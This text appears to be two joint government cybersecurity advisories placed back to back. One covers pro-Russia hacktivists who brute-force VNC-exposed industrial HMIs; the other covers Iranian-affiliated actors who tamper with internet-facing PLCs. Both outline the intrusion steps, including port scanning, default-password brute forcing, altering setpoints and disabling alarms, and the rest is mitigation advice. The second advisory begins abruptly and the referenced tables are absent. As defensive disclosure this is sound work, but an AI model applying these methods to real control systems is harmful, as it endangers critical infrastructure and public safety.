Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

• Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
• Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
• Use VNC software to access hosts [T1021.005].
• Confirm connection to the vulnerable device [T0886].
• Brute force the password, if required [T1110.003].
• Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
• Log the confirmed vulnerable device IP address, port, and password.
• Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
  • Modify usernames/passwords [T0892];
  • Modify parameters [T0836];
  • Modify device name [T0892];
  • Modify instrument settings [T0831];
  • Disable alarms [T0878];
  • Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
  • Device restart or shutdown [T0816].
• Disconnect from the device, ending the VNC connection.
• Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.
2. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
3. Reimage compromised hosts.
4. Provision new account credentials.
5. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
6. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

• Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].
  • Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
    Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
  • Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
  • Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
    • Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
    • Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
    • Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
    • Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
• Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].
  • Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
    • Keep VNC systems updated with the latest version available.
  • Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
• Ensure OT assets use robust authentication procedures.
  • Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
  • Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
  • Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
  • Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
  • Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
• Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
• Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
  • Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
  • Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].
• Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
• Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
• Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

• Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
• Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
• Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
  • Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
• Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

• CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
• CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
• NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
• CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
  • For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.
• The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
• DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

• EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
• CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
• CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
• CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
• DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
• CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
• CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.
  • See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

• Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

• CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
• The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
• CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

• GRU military unit 74455
  • Sandworm Team
  • Voodoo Bear
  • Seashell Blizzard
  • APT44
• Cyber Army of Russia Reborn (CARR)
  • CyberArmy of Russia
  • Народная CyberАрмия (НКА)
  • People’s CyberArmy of Russia (PCA)
  • Russian CyberArmy Team (RCAT)
• NoName057(16)
  • NoName057(16) Spain
  • NoName057(16) Italy
  • NoName057(16) France
• Z-Pentest
  • Z-Pentest Beograd
  • Z-Pentest Alliance
  • Z-Alliance

Introduction

Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.

The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).

Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.

If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.

For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.

Download the PDF version of this report:

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

• AA26-097A STIX XML (XML, 29 KB)
• AA26-097A STIX JSON (JSON, 30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

Background Information

Similar Historical Activity Targeting Programmable Logic Controllers

During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.

For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.

Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers

The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.

(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.

Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

• Rockwell Automation: CompactLogix and Micro850 PLCs
• Schneider Electric: BMX P34/Modicon M340 PLCs
• Siemens: S7-1200 series PLCs

Command and Control

(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].

Exfiltration

(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].

Impact

(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.

Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.

Indicators of Compromise

See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.

Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

MITRE ATT&CK Tactics and Techniques

See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Network Defenders

The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.

(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

• Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.
  
  • Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.
• Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
  
  • Refer to Schneider Electric’s Recommended Cybersecurity Best Practices and Cybersecurity User Guide for Modicon Controller Platform for guidance on securing and configuring PLCs.
• Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.
  
  • Refer to Siemens Security Bulletin 104599 for a list of security measures to harden PLCs and in-depth configuration guides.
  • Siemens users should review the Cybersecurity for Industry Operational Guidelines and implement defense-in-depth controls within their automation systems.

Immediate steps to prevent the attack:

• Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.
  
  • Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
  • Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
  • (New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).
• (New, July 22, 2026) Strictly control network access to PLC devices.
  
  • Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.
• For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s² System Security Design Guidelines for manufacturer’s instructions.)
  
  • (New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.
• For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

• (New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.
  
  • If restoring from backups, verify the backup does not contain malicious logic before deployment.
  • Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.
• (New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
• (New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
• Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
• Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
• If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.
  
  • A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
  • Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.
• Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
• Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
• Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
• Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
• Monitor the content of network traffic for the following:
  
  • Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
  • Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.
• (New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

• Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers

Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 

Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

• Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
• Do not charge additional fees for basic security features needed to operate the product securely.
• Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

